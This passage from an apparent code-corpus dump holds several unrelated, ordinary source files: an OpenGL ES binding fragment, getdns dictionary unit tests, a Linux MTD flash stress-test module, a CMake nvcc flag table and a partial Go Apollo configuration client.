indices.remaining(), GLES20.GL_UNSIGNED_SHORT, memAddress(indices), instancecount, basevertex, baseinstance);\n }\n\n public static void glDrawElementsInstancedBaseVertexBaseInstanceEXT(@NativeType(\"GLenum\") int mode, @NativeType(\"void const *\") IntBuffer indices, @NativeType(\"GLsizei\") int instancecount, @NativeType(\"GLint\") int basevertex, @NativeType(\"GLuint\") int baseinstance) {\n nglDrawElementsInstancedBaseVertexBaseInstanceEXT(mode, indices.remaining(), GLES20.GL_UNSIGNED_INT, memAddress(indices), instancecount, basevertex, baseinstance);\n }\n\n}"} +{"text": "/*\n * Copyright (c) 2013, NLNet Labs, Verisign, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * * Neither the names of the copyright holders nor the\n * names of its contributors may be used to endorse or promote products\n * derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL Verisign, Inc. BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n#ifndef _check_getdns_dict_get_data_type_h_\n#define _check_getdns_dict_get_data_type_h_\n\n /*\n **************************************************************************\n * *\n * T E S T S F O R G E T D N S _ D I C T _ G E T _ D A T A _ T Y P E *\n * *\n **************************************************************************\n */\n\n START_TEST (getdns_dict_get_data_type_1)\n {\n /*\n * this_dict = NULL\n * expect: GETDNS_RETURN_INVALID_PARAMETER\n */\n struct getdns_dict *this_dict = NULL;\n getdns_data_type answer;\n\n ASSERT_RC(getdns_dict_get_data_type(this_dict, \"key\", &answer),\n GETDNS_RETURN_INVALID_PARAMETER, \"Return code from getdns_dict_get_data_type()\");\n\n }\n END_TEST\n\n START_TEST (getdns_dict_get_data_type_2)\n {\n /*\n * name = NULL\n * expect: GETDNS_RETURN_INVALID_PARAMETER\n */\n struct getdns_dict *this_dict = NULL;\n getdns_data_type answer;\n\n DICT_CREATE(this_dict);\n ASSERT_RC(getdns_dict_set_int(this_dict, \"ten\", 10),\n GETDNS_RETURN_GOOD, \"Return code from getdns_dict_set_int()\");\n\n ASSERT_RC(getdns_dict_get_data_type(this_dict, NULL, &answer),\n GETDNS_RETURN_INVALID_PARAMETER, \"Return code from getdns_dict_get_data_type()\");\n\n DICT_DESTROY(this_dict);\n\n }\n END_TEST\n \n START_TEST (getdns_dict_get_data_type_3)\n {\n /*\n * name does not exist in dict\n * Create a dict with three keys (\"ten\" = 10, \"eleven\" = 11, \"twelve\" = 12)\n * Call getdns_dict_get_data_type() with name = \"nine\"\n * expect: GETDNS_RETURN_NO_SUCH_DICT_NAME\n */\n struct getdns_dict *this_dict = NULL;\n char *keys[3] = { \"ten\", \"eleven\", \"twelve\" };\n uint32_t values[3] = { 10, 11, 12 };\n int i;\n getdns_data_type answer;\n\n DICT_CREATE(this_dict);\n\n for(i = 0; i < 3; i++)\n {\n ASSERT_RC(getdns_dict_set_int(this_dict, keys[i], values[i]), \n GETDNS_RETURN_GOOD, \"Return code from getdns_dict_set_int()\");\n }\n\n ASSERT_RC(getdns_dict_get_data_type(this_dict, \"nine\", &answer),\n GETDNS_RETURN_NO_SUCH_DICT_NAME, \"Return code from getdns_dict_get_names()\");\n\n DICT_DESTROY(this_dict);\n }\n END_TEST\n \n START_TEST (getdns_dict_get_data_type_4)\n {\n /*\n * answer = NULL\n * expect: GETDNS_RETURN_INVALID_PARAMETER\n */\n struct getdns_dict *this_dict = NULL;\n\n DICT_CREATE(this_dict);\n ASSERT_RC(getdns_dict_set_int(this_dict, \"ten\", 10),\n GETDNS_RETURN_GOOD, \"Return code from getdns_dict_set_int()\");\n\n ASSERT_RC(getdns_dict_get_data_type(this_dict, \"ten\", NULL),\n GETDNS_RETURN_INVALID_PARAMETER, \"Return code from getdns_dict_get_names()\");\n\n DICT_DESTROY(this_dict);\n }\n END_TEST\n \n START_TEST (getdns_dict_get_data_type_5)\n {\n /*\n * data type is dict\n * Create a dict\n * Create a second dict and add it to the first as name = \"dict\"\n * Call getdns_dict_get_data_type() for name = \"dict\"\n * expect: GETDNS_RETURN_GOOD\n * retrieved answer should = t_dict \n */\n struct getdns_dict *this_dict = NULL;\n struct getdns_dict *second_dict = NULL;\n getdns_data_type answer;\n\n DICT_CREATE(this_dict);\n DICT_CREATE(second_dict);\n ASSERT_RC(getdns_dict_set_dict(this_dict, \"dict\", second_dict),\n GETDNS_RETURN_GOOD, \"Return code from getdns_dict_set_dict()\");\n\n ASSERT_RC(getdns_dict_get_data_type(this_dict, \"dict\", &answer),\n GETDNS_RETURN_GOOD, \"Return code from getdns_dict_get_data_type()\");\n\n ck_assert_msg(answer == t_dict, \"Expected answer = t_dict (%d), got: %d\", t_dict, answer);\n\n DICT_DESTROY(this_dict);\n DICT_DESTROY(second_dict);\n }\n END_TEST\n \n START_TEST (getdns_dict_get_data_type_6)\n {\n /*\n * data type is list\n * Create a dict\n * Create a list and add it to the dict as name = \"list\"\n * Call getdns_dict_get_data_type() for name = \"list\"\n * expect: GETDNS_RETURN_GOOD\n * retrieved answer should = t_list\n */\n struct getdns_dict *this_dict = NULL;\n struct getdns_list *list = NULL;\n getdns_data_type answer;\n\n DICT_CREATE(this_dict);\n LIST_CREATE(list);\n ASSERT_RC(getdns_dict_set_list(this_dict, \"list\", list),\n GETDNS_RETURN_GOOD, \"Return code from getdns_dict_set_list()\");\n\n ASSERT_RC(getdns_dict_get_data_type(this_dict, \"list\", &answer),\n GETDNS_RETURN_GOOD, \"Return code from getdns_dict_get_data_type()\");\n\n ck_assert_msg(answer == t_list, \"Expected answer = t_list (%d), got: %d\", t_list, answer);\n\n DICT_DESTROY(this_dict);\n LIST_DESTROY(list);\n }\n END_TEST\n \n START_TEST (getdns_dict_get_data_type_7)\n {\n /*\n * data type is bindata\n * Create a dict\n * Create some bindata and add it to the dict as name = \"bindata\"\n * Call getdns_dict_get_data_type() for name = \"bindata\"\n * expect: GETDNS_RETURN_GOOD\n * retrieved answer should = t_bindata\n */\n struct getdns_dict *this_dict = NULL;\n struct getdns_bindata bindata = { 8, (void *)\"bindata\" };\n getdns_data_type answer;\n\n DICT_CREATE(this_dict);\n ASSERT_RC(getdns_dict_set_bindata(this_dict, \"bindata\", &bindata),\n GETDNS_RETURN_GOOD, \"Return code from getdns_dict_set_bindata()\");\n\n ASSERT_RC(getdns_dict_get_data_type(this_dict, \"bindata\", &answer),\n GETDNS_RETURN_GOOD, \"Return code from getdns_dict_get_data_type()\");\n\n ck_assert_msg(answer == t_bindata, \"Expected answer = t_bindata (%d), got: %d\", t_bindata, answer);\n\n DICT_DESTROY(this_dict);\n }\n END_TEST\n \n START_TEST (getdns_dict_get_data_type_8)\n {\n /*\n * data type is int\n * Create a dict\n * Add an int to the dict as name = \"int\"\n * Call getdns_dict_get_data_type() for name = \"int\"\n * expect: GETDNS_RETURN_GOOD\n * retrieved answer should = t_int\n */\n struct getdns_dict *this_dict = NULL;\n getdns_data_type answer;\n\n DICT_CREATE(this_dict);\n ASSERT_RC(getdns_dict_set_int(this_dict, \"int\", 100),\n GETDNS_RETURN_GOOD, \"Return code from getdns_dict_set_int()\");\n\n ASSERT_RC(getdns_dict_get_data_type(this_dict, \"int\", &answer),\n GETDNS_RETURN_GOOD, \"Return code from getdns_dict_get_data_type()\");\n\n ck_assert_msg(answer == t_int, \"Expected answer = t_int (%d), got: %d\", t_int, answer);\n\n DICT_DESTROY(this_dict);\n }\n END_TEST\n \n Suite *\n getdns_dict_get_data_type_suite (void)\n {\n Suite *s = suite_create (\"getdns_dict_get_data_type()\");\n \n /* Negative test caseis */\n TCase *tc_neg = tcase_create(\"Negative\");\n tcase_add_test(tc_neg, getdns_dict_get_data_type_1);\n tcase_add_test(tc_neg, getdns_dict_get_data_type_2);\n tcase_add_test(tc_neg, getdns_dict_get_data_type_3);\n tcase_add_test(tc_neg, getdns_dict_get_data_type_4);\n suite_add_tcase(s, tc_neg);\n \n /* Positive test cases */\n TCase *tc_pos = tcase_create(\"Positive\");\n tcase_add_test(tc_pos, getdns_dict_get_data_type_5);\n tcase_add_test(tc_pos, getdns_dict_get_data_type_6);\n tcase_add_test(tc_pos, getdns_dict_get_data_type_7);\n tcase_add_test(tc_pos, getdns_dict_get_data_type_8);\n suite_add_tcase(s, tc_pos);\n \n return s;\n }\n\n#endif\n"} +{"text": "\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define PRINT_PREF KERN_INFO \"mtd_stresstest: \"\n\nstatic int dev;\nmodule_param(dev, int, S_IRUGO);\nMODULE_PARM_DESC(dev, \"MTD device number to use\");\n\nstatic int count = 10000;\nmodule_param(count, int, S_IRUGO);\nMODULE_PARM_DESC(count, \"Number of operations to do (default is 10000)\");\n\nstatic struct mtd_info *mtd;\nstatic unsigned char *writebuf;\nstatic unsigned char *readbuf;\nstatic unsigned char *bbt;\nstatic int *offsets;\n\nstatic int pgsize;\nstatic int bufsize;\nstatic int ebcnt;\nstatic int pgcnt;\nstatic unsigned long next = 1;\n\nstatic inline unsigned int simple_rand(void)\n{\n\tnext = next * 1103515245 + 12345;\n\treturn (unsigned int)((next / 65536) % 32768);\n}\n\nstatic inline void simple_srand(unsigned long seed)\n{\n\tnext = seed;\n}\n\nstatic int rand_eb(void)\n{\n\tint eb;\n\nagain:\n\tif (ebcnt < 32768)\n\t\teb = simple_rand();\n\telse\n\t\teb = (simple_rand() << 15) | simple_rand();\n\t/* Read or write up 2 eraseblocks at a time - hence 'ebcnt - 1' */\n\teb %= (ebcnt - 1);\n\tif (bbt[eb])\n\t\tgoto again;\n\treturn eb;\n}\n\nstatic int rand_offs(void)\n{\n\tint offs;\n\n\tif (bufsize < 32768)\n\t\toffs = simple_rand();\n\telse\n\t\toffs = (simple_rand() << 15) | simple_rand();\n\toffs %= bufsize;\n\treturn offs;\n}\n\nstatic int rand_len(int offs)\n{\n\tint len;\n\n\tif (bufsize < 32768)\n\t\tlen = simple_rand();\n\telse\n\t\tlen = (simple_rand() << 15) | simple_rand();\n\tlen %= (bufsize - offs);\n\treturn len;\n}\n\nstatic int erase_eraseblock(int ebnum)\n{\n\tint err;\n\tstruct erase_info ei;\n\tloff_t addr = ebnum * mtd->erasesize;\n\n\tmemset(&ei, 0, sizeof(struct erase_info));\n\tei.mtd = mtd;\n\tei.addr = addr;\n\tei.len = mtd->erasesize;\n\n\terr = mtd->erase(mtd, &ei);\n\tif (unlikely(err)) {\n\t\tprintk(PRINT_PREF \"error %d while erasing EB %d\\n\", err, ebnum);\n\t\treturn err;\n\t}\n\n\tif (unlikely(ei.state == MTD_ERASE_FAILED)) {\n\t\tprintk(PRINT_PREF \"some erase error occurred at EB %d\\n\",\n\t\t ebnum);\n\t\treturn -EIO;\n\t}\n\n\treturn 0;\n}\n\nstatic int is_block_bad(int ebnum)\n{\n\tloff_t addr = ebnum * mtd->erasesize;\n\tint ret;\n\n\tret = mtd->block_isbad(mtd, addr);\n\tif (ret)\n\t\tprintk(PRINT_PREF \"block %d is bad\\n\", ebnum);\n\treturn ret;\n}\n\nstatic int do_read(void)\n{\n\tsize_t read = 0;\n\tint eb = rand_eb();\n\tint offs = rand_offs();\n\tint len = rand_len(offs), err;\n\tloff_t addr;\n\n\tif (bbt[eb + 1]) {\n\t\tif (offs >= mtd->erasesize)\n\t\t\toffs -= mtd->erasesize;\n\t\tif (offs + len > mtd->erasesize)\n\t\t\tlen = mtd->erasesize - offs;\n\t}\n\taddr = eb * mtd->erasesize + offs;\n\terr = mtd->read(mtd, addr, len, &read, readbuf);\n\tif (err == -EUCLEAN)\n\t\terr = 0;\n\tif (unlikely(err || read != len)) {\n\t\tprintk(PRINT_PREF \"error: read failed at 0x%llx\\n\",\n\t\t (long long)addr);\n\t\tif (!err)\n\t\t\terr = -EINVAL;\n\t\treturn err;\n\t}\n\treturn 0;\n}\n\nstatic int do_write(void)\n{\n\tint eb = rand_eb(), offs, err, len;\n\tsize_t written = 0;\n\tloff_t addr;\n\n\toffs = offsets[eb];\n\tif (offs >= mtd->erasesize) {\n\t\terr = erase_eraseblock(eb);\n\t\tif (err)\n\t\t\treturn err;\n\t\toffs = offsets[eb] = 0;\n\t}\n\tlen = rand_len(offs);\n\tlen = ((len + pgsize - 1) / pgsize) * pgsize;\n\tif (offs + len > mtd->erasesize) {\n\t\tif (bbt[eb + 1])\n\t\t\tlen = mtd->erasesize - offs;\n\t\telse {\n\t\t\terr = erase_eraseblock(eb + 1);\n\t\t\tif (err)\n\t\t\t\treturn err;\n\t\t\toffsets[eb + 1] = 0;\n\t\t}\n\t}\n\taddr = eb * mtd->erasesize + offs;\n\terr = mtd->write(mtd, addr, len, &written, writebuf);\n\tif (unlikely(err || written != len)) {\n\t\tprintk(PRINT_PREF \"error: write failed at 0x%llx\\n\",\n\t\t (long long)addr);\n\t\tif (!err)\n\t\t\terr = -EINVAL;\n\t\treturn err;\n\t}\n\toffs += len;\n\twhile (offs > mtd->erasesize) {\n\t\toffsets[eb++] = mtd->erasesize;\n\t\toffs -= mtd->erasesize;\n\t}\n\toffsets[eb] = offs;\n\treturn 0;\n}\n\nstatic int do_operation(void)\n{\n\tif (simple_rand() & 1)\n\t\treturn do_read();\n\telse\n\t\treturn do_write();\n}\n\nstatic int scan_for_bad_eraseblocks(void)\n{\n\tint i, bad = 0;\n\n\tbbt = kmalloc(ebcnt, GFP_KERNEL);\n\tif (!bbt) {\n\t\tprintk(PRINT_PREF \"error: cannot allocate memory\\n\");\n\t\treturn -ENOMEM;\n\t}\n\tmemset(bbt, 0 , ebcnt);\n\n\t/* NOR flash does not implement block_isbad */\n\tif (mtd->block_isbad == NULL)\n\t\treturn 0;\n\n\tprintk(PRINT_PREF \"scanning for bad eraseblocks\\n\");\n\tfor (i = 0; i < ebcnt; ++i) {\n\t\tbbt[i] = is_block_bad(i) ? 1 : 0;\n\t\tif (bbt[i])\n\t\t\tbad += 1;\n\t\tcond_resched();\n\t}\n\tprintk(PRINT_PREF \"scanned %d eraseblocks, %d are bad\\n\", i, bad);\n\treturn 0;\n}\n\nstatic int __init mtd_stresstest_init(void)\n{\n\tint err;\n\tint i, op;\n\tuint64_t tmp;\n\n\tprintk(KERN_INFO \"\\n\");\n\tprintk(KERN_INFO \"=================================================\\n\");\n\tprintk(PRINT_PREF \"MTD device: %d\\n\", dev);\n\n\tmtd = get_mtd_device(NULL, dev);\n\tif (IS_ERR(mtd)) {\n\t\terr = PTR_ERR(mtd);\n\t\tprintk(PRINT_PREF \"error: cannot get MTD device\\n\");\n\t\treturn err;\n\t}\n\n\tif (mtd->writesize == 1) {\n\t\tprintk(PRINT_PREF \"not NAND flash, assume page size is 512 \"\n\t\t \"bytes.\\n\");\n\t\tpgsize = 512;\n\t} else\n\t\tpgsize = mtd->writesize;\n\n\ttmp = mtd->size;\n\tdo_div(tmp, mtd->erasesize);\n\tebcnt = tmp;\n\tpgcnt = mtd->erasesize / pgsize;\n\n\tprintk(PRINT_PREF \"MTD device size %llu, eraseblock size %u, \"\n\t \"page size %u, count of eraseblocks %u, pages per \"\n\t \"eraseblock %u, OOB size %u\\n\",\n\t (unsigned long long)mtd->size, mtd->erasesize,\n\t pgsize, ebcnt, pgcnt, mtd->oobsize);\n\n\t/* Read or write up 2 eraseblocks at a time */\n\tbufsize = mtd->erasesize * 2;\n\n\terr = -ENOMEM;\n\treadbuf = vmalloc(bufsize);\n\twritebuf = vmalloc(bufsize);\n\toffsets = kmalloc(ebcnt * sizeof(int), GFP_KERNEL);\n\tif (!readbuf || !writebuf || !offsets) {\n\t\tprintk(PRINT_PREF \"error: cannot allocate memory\\n\");\n\t\tgoto out;\n\t}\n\tfor (i = 0; i < ebcnt; i++)\n\t\toffsets[i] = mtd->erasesize;\n\tsimple_srand(current->pid);\n\tfor (i = 0; i < bufsize; i++)\n\t\twritebuf[i] = simple_rand();\n\n\terr = scan_for_bad_eraseblocks();\n\tif (err)\n\t\tgoto out;\n\n\t/* Do operations */\n\tprintk(PRINT_PREF \"doing operations\\n\");\n\tfor (op = 0; op < count; op++) {\n\t\tif ((op & 1023) == 0)\n\t\t\tprintk(PRINT_PREF \"%d operations done\\n\", op);\n\t\terr = do_operation();\n\t\tif (err)\n\t\t\tgoto out;\n\t\tcond_resched();\n\t}\n\tprintk(PRINT_PREF \"finished, %d operations done\\n\", op);\n\nout:\n\tkfree(offsets);\n\tkfree(bbt);\n\tvfree(writebuf);\n\tvfree(readbuf);\n\tput_mtd_device(mtd);\n\tif (err)\n\t\tprintk(PRINT_PREF \"error %d occurred\\n\", err);\n\tprintk(KERN_INFO \"=================================================\\n\");\n\treturn err;\n}\nmodule_init(mtd_stresstest_init);\n\nstatic void __exit mtd_stresstest_exit(void)\n{\n\treturn;\n}\nmodule_exit(mtd_stresstest_exit);\n\nMODULE_DESCRIPTION(\"Stress test module\");\nMODULE_AUTHOR(\"Adrian Hunter\");\nMODULE_LICENSE(\"GPL\");\n"} +{"text": "[\n {\n \"name\": \"AdditionalCompilerOptions\",\n \"switch\": \"Xcompiler=\",\n \"comment\": \"Host compiler options\",\n \"value\": \"\",\n \"flags\": [\n \"UserValue\",\n \"SpaceAppendable\"\n ]\n },\n {\n \"name\": \"AdditionalCompilerOptions\",\n \"switch\": \"Xcompiler\",\n \"comment\": \"Host compiler options\",\n \"value\": \"\",\n \"flags\": [\n \"UserFollowing\",\n \"SpaceAppendable\"\n ]\n },\n {\n \"name\": \"CudaRuntime\",\n \"switch\": \"cudart=none\",\n \"comment\": \"No CUDA runtime library\",\n \"value\": \"None\",\n \"flags\": []\n },\n {\n \"name\": \"CudaRuntime\",\n \"switch\": \"cudart=shared\",\n \"comment\": \"Shared/dynamic CUDA runtime library\",\n \"value\": \"Shared\",\n \"flags\": []\n },\n {\n \"name\": \"CudaRuntime\",\n \"switch\": \"cudart=static\",\n \"comment\": \"Static CUDA runtime library\",\n \"value\": \"Static\",\n \"flags\": []\n },\n {\n \"name\": \"CudaRuntime\",\n \"switch\": \"cudart\",\n \"comment\": \"CUDA runtime library\",\n \"value\": \"\",\n \"flags\": [\n \"UserFollowing\"\n ]\n },\n {\n \"name\": \"cmake-temp-gencode\",\n \"switch\": \"gencode=\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserValue\",\n \"SemicolonAppendable\"\n ]\n },\n {\n \"name\": \"cmake-temp-gencode\",\n \"switch\": \"gencode\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserFollowing\",\n \"SemicolonAppendable\"\n ]\n },\n {\n \"name\": \"cmake-temp-gencode\",\n \"switch\": \"-generate-code=\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserValue\",\n \"SemicolonAppendable\"\n ]\n },\n {\n \"name\": \"cmake-temp-gencode\",\n \"switch\": \"-generate-code\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserFollowing\",\n \"SemicolonAppendable\"\n ]\n },\n {\n \"name\": \"cmake-temp-code\",\n \"switch\": \"code=\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserValue\"\n ]\n },\n {\n \"name\": \"cmake-temp-code\",\n \"switch\": \"code\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserFollowing\"\n ]\n },\n {\n \"name\": \"cmake-temp-code\",\n \"switch\": \"-gpu-code=\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserValue\"\n ]\n },\n {\n \"name\": \"cmake-temp-code\",\n \"switch\": \"-gpu-code\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserFollowing\"\n ]\n },\n {\n \"name\": \"cmake-temp-arch\",\n \"switch\": \"arch=\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserValue\"\n ]\n },\n {\n \"name\": \"cmake-temp-arch\",\n \"switch\": \"arch\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserFollowing\"\n ]\n },\n {\n \"name\": \"cmake-temp-arch\",\n \"switch\": \"-gpu-architecture=\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserValue\"\n ]\n },\n {\n \"name\": \"cmake-temp-arch\",\n \"switch\": \"-gpu-architecture\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserFollowing\"\n ]\n },\n {\n \"name\": \"FastMath\",\n \"switch\": \"use_fast_math\",\n \"comment\": \"\",\n \"value\": \"true\",\n \"flags\": []\n },\n {\n \"name\": \"FastMath\",\n \"switch\": \"-use_fast_math\",\n \"comment\": \"\",\n \"value\": \"true\",\n \"flags\": []\n },\n {\n \"name\": \"GPUDebugInfo\",\n \"switch\": \"G\",\n \"comment\": \"\",\n \"value\": \"true\",\n \"flags\": []\n },\n {\n \"name\": \"GPUDebugInfo\",\n \"switch\": \"-device-debug\",\n \"comment\": \"\",\n \"value\": \"true\",\n \"flags\": []\n },\n {\n \"name\": \"HostDebugInfo\",\n \"switch\": \"g\",\n \"comment\": \"\",\n \"value\": \"true\",\n \"flags\": []\n },\n {\n \"name\": \"HostDebugInfo\",\n \"switch\": \"-debug\",\n \"comment\": \"\",\n \"value\": \"true\",\n \"flags\": []\n },\n {\n \"name\": \"MaxRegCount\",\n \"switch\": \"maxrregcount=\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserValue\"\n ]\n },\n {\n \"name\": \"MaxRegCount\",\n \"switch\": \"maxrregcount\",\n \"comment\": \"\",\n \"value\": \"\",\n \"flags\": [\n \"UserFollowing\"\n ]\n }\n]\n"} +{"text": "package apollo\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"flag\"\n\t\"log\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/philchia/agollo\"\n\n\t\"github.com/go-kratos/kratos/pkg/conf/paladin\"\n)\n\nvar (\n\t_ paladin.Client = &apollo{}\n\tdefaultValue = \"\"\n)\n\ntype apolloWatcher struct {\n\tkeys []string // in apollo, they're called namespaces\n\tC chan paladin.Event\n}\n\nfunc newApolloWatcher(keys []string) *apolloWatcher {\n\treturn &apolloWatcher{keys: keys, C: make(chan paladin.Event, 5)}\n}\n\nfunc (aw *apolloWatcher) HasKey(key string) bool {\n\tif len(aw.keys) == 0 {\n\t\treturn true\n\t}\n\tfor _, k := range aw.keys {\n\t\tif k == key {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (aw *apolloWatcher) Handle(event paladin.Event) {\n\tselect {\n\tcase aw.C <- event:\n\tdefault:\n\t\tlog.Printf(\"paladin: event channel full discard ns %s update event\", event.Key)\n\t}\n}\n\n// apollo is apollo config client.\ntype apollo struct {\n\tclient *agollo.Client\n\tvalues *paladin.Map\n\twmu sync.RWMutex\n\twatchers map[*apolloWatcher]struct{}\n}\n\n// Config is apollo config client config.\ntype Config struct {\n\tAppID string `json:\"app_id\"`\n\tCluster string `json:\"cluster\"`\n\tCacheDir string `json:\"cache_dir\"`\n\tMetaAddr string `json:\"meta_addr\"`\n\tNamespaces []string `json:\"namespaces\"`\n}\n\ntype apolloDriver struct{}\n\nvar (\n\tconfAppID, confCluster, confCacheDir, confMetaAddr, confNamespaces string\n)\n\nfunc init() {\n\taddApolloFlags()\n\tpaladin.Register(PaladinDriverApollo, &apolloDriver{})\n}\n\nfunc addApolloFlags() {\n\tflag.StringVar(&confAppID, \"apollo.appid\", \"\", \"apollo app id\")\n\tflag.StringVar(&confCluster, \"apollo.cluster\", \"\", \"apollo cluster\")\n\tflag.StringVar(&confCacheDir, \"apollo.cachedir\", \"/tmp\", \"apollo cache dir\")\n\tflag.StringVar(&confMetaAddr, \"apollo.metaaddr\", \"\", \"apollo meta server addr, e.g. localhost:8080\")\n\tflag.StringVar(&confNamespaces, \"apollo.namespaces\", \"\", \"subscribed apollo namespaces, comma separated, e.g. app.yml,mysql.yml\")\n}\n\nfunc buildConfigForApollo() (c *Config, err error) {\n\tif appidFromEnv := os.Getenv(\"APOLLO_APP_ID\"); appidFromEnv != \"\" {\n\t\tconfAppID = appidFromEnv\n\t}\n\tif confAppID == \"\" {\n\t\terr = errors.New(\"invalid apollo appid, pass it via APOLLO_APP_ID=xxx with env or --apollo.appid=xxx with flag\")\n\t\treturn\n\t}\n\tif clusterFromEnv := os.Getenv(\"APOLLO_CLUSTER\"); clusterFromEnv != \"\" {\n\t\tconfCluster = clusterFromEnv\n\t}\n\tif confCluster == \"\" {\n\t\terr = errors.New(\"invalid apollo cluster, pass it via APOLLO_CLUSTER=xxx with env or --apollo.cluster=xxx with flag\")\n\t\treturn\n\t}\n\tif cacheDirFromEnv := os.Getenv(\"APOLLO_CACHE_DIR\"); cacheDirFromEnv != \"\" {\n\t\tconfCacheDir = cacheDirFromEnv\n\t}\n\tif metaAddrFromEnv := os.Getenv(\"APOLLO_META_ADDR\"); metaAddrFromEnv != \"\" {\n\t\tconfMetaAddr = metaAddrFromEnv\n\t}\n\tif confMetaAddr == \"\" {\n\t\terr = errors.New(\"invalid apollo meta addr, pass it via APOLLO_META_ADDR=xxx with env or --apollo.metaaddr=xxx with flag\")\n\t\treturn\n\t}\n\tif namespacesFromEnv := os.Getenv(\"APOLLO_NAMESPACES\"); namespacesFromEnv != \"\" {\n\t\tconfNamespaces = namespacesFromEnv\n\t}\n\tnamespaceNames := strings.Split(confNamespaces, \",\")\n\tif len(namespaceNames) == 0 {\n\t\terr = errors.New(\"invalid apollo namespaces, pass it via APOLLO_NAMESPACES=xxx with env or --apollo.namespaces=xxx with flag\")\n\t\treturn\n\t}\n\tc = &Config{\n\t\tAppID: confAppID,\n\t\tCluster: confCluster,\n\t\tCacheDir: confCacheDir,\n\t\tMetaAddr: confMetaAddr,\n\t\tNamespaces: namespaceNames,\n\t}\n\treturn\n}\n\n// New new an apollo config client.\n// it watches apollo namespaces changes and updates local cache.\n// BTW, in our context, namespaces in apollo means keys in paladin.\nfunc (ad *apolloDriver) New() (paladin.Client, error) {\n\tc, err := buildConfigForApollo()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn ad.new(c)\n}\n\nfunc (ad *apolloDriver) new(conf *Config) (paladin.Client, error) {\n\tif conf == nil {\n\t\terr := errors.New(\"invalid apollo conf\")\n\t\treturn nil, err\n\t}\n\tclient := agollo.NewClient(&agollo.Conf{\n\t\tAppID: conf.AppID,\n\t\tCluster: conf.Cluster,\n\t\tNameSpaceNames: conf.Namespaces, // these namespaces will be subscribed at init\n\t\tCacheDir: conf.CacheDir,\n\t\tIP: conf.MetaAddr,\n\t})\n\terr := client.Start()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ta := &apollo{\n\t\tclient: client,\n\t\tvalues: new(paladin.Map),\n\t\twatchers: make(map[*apolloWatcher]struct{}),\n\t}\n\traws, err := a.loadValues(conf.Namespaces)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ta.values.Store(raws)\n\t// watch namespaces by default.\n\ta.WatchEvent(context.TODO(), conf.Namespaces...)\n\tgo a.watchproc(conf.Namespaces)\n\treturn a, nil\n}\n\n// loadValues load values from apollo namespaces to values\nfunc (a *apollo) loadValues(keys []string) (values map[string]*paladin.Value, err error) {\n\tvalues = make(map[string]*paladin.Value, len(keys))\n\tfor _, k := range keys {\n\t\tif values[k], err = a.loadValue(k); err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\treturn\n}\n\n// loadValue load value from apollo namespace content to value\nfunc (a *apollo) loadValue(key string) (*paladin.Value, error) {\n\tcontent := a.client.GetNameSpaceContent(key, defaultValue)\n\treturn paladin.NewValue(content, content), nil\n}\n\n// reloadValue reload value by key and send event\nfunc (a *apollo) reloadValue(key string) (err error) {\n\t// NOTE: in some case immediately read content from client after receive event\n\t// will get old content due to cache, sleep 100ms make sure get correct content.\n\ttime.Sleep(100 * time.Millisecond)\n\tvar (\n\t\tvalue *paladin.Value\n\t\trawValue string\n\t)\n\tvalue, err = a.loadValue(key)\n\tif err != nil {\n\t\treturn\n\t}\n\trawValue, err = value.Raw()\n\tif err != nil {\n\t\treturn\n\t}\n\traws := a.values.Load()\n\traws[key] = value\n\ta.values.Store(raws)\n\ta.wmu.RLock()\n\tn := 0\n\tfor w := range a.watchers {\n\t\tif w.HasKey(key) {\n\t\t\tn++\n\t\t\t// FIXME(Colstuwjx): check change event and send detail type like EventAdd\\Update\\Delete.\n\t\t\tw.Handle(paladin.Event{Event: paladin.EventUpdate, Key: key, Value: rawValue})\n\t\t}\n\t}\n\ta.wmu.RUnlock()\n\tlog.Printf(\"paladin: reload config: %s events: %d\\n\", key, n)\n\treturn\n}\n\n// 